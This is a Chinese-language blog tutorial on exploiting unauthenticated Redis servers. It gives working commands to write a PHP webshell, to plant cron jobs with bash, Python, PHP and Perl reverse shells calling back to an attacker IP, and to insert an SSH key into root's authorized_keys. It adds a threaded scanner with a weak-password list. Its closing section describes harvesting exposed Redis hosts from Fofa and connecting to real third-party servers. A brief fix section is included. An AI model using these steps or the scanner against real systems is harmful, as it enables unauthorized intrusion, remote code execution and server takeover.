如果以飞鸟和繁花的标准来审判我的话,我是毫无缺点的。 ——梭罗
1 漏洞简介
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
Redis默认绑定端口6379,
2 漏洞复现
2.1 安装Redis
$ wget http://download.redis.io/releases/redis-6.0.8.tar.gz
$ tar xzf redis-6.0.8.tar.gz
$ cd redis-6.0.8
$ make
$ cd src
# 启用redis服务
$ ./redis-server
2.2 redis配置
Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf
将redis.conf文件中bind 127.0.0.1
前加#
号注释
当前最新版本redis默认开启保护模式,即使在注释掉bind 127.0.0.1
的情况下,也只允许本地进行连接。
3.2 以后有了保护模式,保护模式的作用就是在没有设置密码并且没有配置 bind 地址的时候强行只允许本机连接,但是对于绑定地址或者是配置过密码的服务来讲这一项可以忽略。 另外还有一个误区就是这个绑定地址不是绑定外部的地址,而是绑定自己服务器的允许作为与外部进行连接的 IP 地址,比如绑定自己服务器的外网 IP,或者绑定 127.0.0.1 或者绑定 0.0.0.0 ,这个绑定 0.0.0.0 就是绑定了自己服务器全部的 ip 地址(服务器可以有很多的 ip ,比如内网 ip 、回环 ip、外网 IP 等 ),因此其实对于一般的服务器来说,绑定自己的外网 ip 和直接绑定 0.0.0.0 是没区别的,不设置密码的情况下去绑定外网 ip 起不到任何的保护作用,返回会因为绑定了地址让保护模式失效遭受攻击。
修改redis.conf
文件protected-mode
改为no
,重启 ./redis-server ../redis.conf
靶机ip: 192.168.237.128
攻机ip: 192.168.237.1
此时我们的攻击机就已经可以未授权访问靶机redis,我们的上述配置即"造成redis未授权访问"
错误配置之一。在到redis后,可以查看到一些敏感信息,如下:
2.3 利用redis写webshell
在目标主机存在web服务并且具有可写权限,可以尝试写入webshell。
kali开启apahce服务: /etc/init.d/apache2 start
写入文件的关键是save命令: Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘。
config set dir /var/www/html
config set dbfilename xx.php
set webshell "<?php phpinfo();?>
save
访问1.php,发现无法解析,原因是redis写入的文件会自带一些版本信息,可能会导致无法执行,只需要在写入信息中加入\r\n
换行符即可:set web "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
成功执行写入文件
2.4 利用corotab反弹shell
redis写入文件到计划任务crontab目录下反弹shell。
修改/etc/crontab
这种方法只有root用户能用,这种方法更加方便与直接直接给其他用户设置计划任务,而且还可以指定执行shell等等,crontab -e
这种所有用户都可以使用,普通用户也只能为自己设置计划任务。然后自动写入/var/spool/cron/usename
kali开启cron服务: /etc/init.d/cron start
攻击机监听端口: nc -lvp 10240
config set dir /var/spool/cron/crontabs
config set dbfilename root
# flushall 清除原始 root 文件的内容,也是为了避免不必要的格式错误
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.237.1/10240 0>&1\n\n"
save
然而kali始终没有监听到连接,是linux环境的问题,具体可参考: 解决ubuntu crontab反弹shell失败的问题
这里存在两个问题:
- cron未配置邮件服务,系统日志显示:
CRON[55318]: (CRON) info (No MTA installed, discarding output)
任务计划里的命令执行如果出现了错误,ubuntu会将这些错误信息去输出到ubuntu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以才导致了上面的错误。即我们执行的命令出错。
解决方案: 将标准错误重定向到输出流
* * * * * '/bin/bash -i >& /dev/tcp/192.168.237.1/10240 0>&1'>/tmp/error.txt 2>&1
查看标准错误输出: cat /tmp/error.txt
,出现第2个错误,如下
/bin/sh: 1: /bin/bash -i >& /dev/tcp/192.168.237.1/10240 0>&1: not found
Ubuntu 下执行 crontab 使用的是 sh , 而 sh 软连接的是dash ,而不是 bash,那么如果你直接在 cron 里面写 bash - i xx 的反弹是不可能成功的
靶机kali是基于Debian的发行版,其/bin/sh默认软连接为/bin/dash,反弹不成功。
解决方案:
1.使用 Python或..调用 /bin/sh 反弹 shell
# python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.237.1",10240));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# php
php -r '$sock=fsockopen("192.168.237.1",10240);exec("/bin/sh -i <&3 >&3 2>&3");'
# perl
perl -e 'use Socket;$i="192.168.237.1";$p=10240;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
反弹还是失败了,跟主机环境有关系,具体原因可查看: 记一次失败漏洞利用的精力
不过奇怪的是一开始kali的cron还是能忽略乱码的,后来就不行了
2.尝试写 sh 文件,然后用 cron 去执行
由于ubuntu/debian cron不能忽略无效格式,所以该方案也难以解决问题
总结: Centos主机可通过Redis利用cron反弹shell,而Ubuntu/Debian由于对cron格式要求严格,无法通过cron写入反弹shell。
2.5 写入ssh-keygen公钥免密登录
通过写入公钥到Redis主机/root/.ssh/authorized_keys
即可通过私钥进行登录。
攻击机生成一对公私钥对,默认回车即可
进入.ssh目录将生成的公钥id_rsa.pub保存到1.txt文件。并将1.txt写入Redis
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
$ cat 1.txt | redis-cli -h 192.168.237.128 -x set kemoon
$ redis-cli.exe -h 192.168.237.128
$ config set dir /root/.ssh/
$ config set dbfilename authorized_keys
$ save
3 漏洞感知
功能: 批量检测redis未授权与弱口令检测
用法: python redisBro.py ips.txt
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
from threadpool import ThreadPool,makeRequests
import socket,sys,time
result=[]
max_thread=200
pool = ThreadPool(max_thread) # 设置线程池
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin','12345678']
banner=''' _ _ ___
_ _ ___ _| |<_> ___| . > _ _ ___
| '_>/ ._>/ . || |<_-<| . \| '_>/ . \\
|_| \___.\___||_|/__/|___/|_| \___/
[!]start threading
[!]Dection starting...
'''
def check(ip, port="6379", timeout=5):
try:
ip = socket.gethostbyname(ip)
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n".encode())
result = s.recv(1024).decode()
if "redis_version" in result:
res="[+] 存在未授权访问: {}:{}".format(ip,port)
print(res)
result.append(res)
return True
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(("AUTH %s\r\n" %(pass_)).encode())
result = s.recv(1024).decode()
if '+OK' in result:
res="[+] 存在弱口令: {}:{} pass: {}".format(ip,port,pass_)
print(res)
result.append(res)
return True
except Exception as e:
pass
def handle_file(filename):
data=[]
with open(filename,'r') as f:
for line in f:
data.append(line[:-1])
return list(set(data))
if __name__ == '__main__':
start=time.time()
print(banner)
ips=handle_file(sys.argv[1])
params = [([ip], None) for ip in ips]
request = makeRequests(check, params)
[pool.putRequest(req) for req in request]
pool.wait()
with open('result.txt','w') as f:
f.writelines(result)
print('Detecting over in '+str(time.time()-start).split('.')[0]+'s')
4 漏洞修复
1.绑定本地IP地址: bind 127.0.0.1
, 高版本redis已经默认绑定本地地址
2.设置密码,编辑redis.conf
, 将requirepass
前 # 删除,输入设置的密码,重启redis
5 漏洞案例
fofa采集工具,获取redis服务端口,很不错的一个工具,只是有点不稳定:
https://github.com/uknowsec/Fofa-gui
将采集到的信息保存到txt文件,使用批量工具进行检测
连接上述主机redis,这些redis都类似如下情况,已经被人尝试利用。现在暴露在公网上的redis估计没几个了,毕竟高版本的redis已经默认bind 127.0.0.1。所以危害性还是比较小的。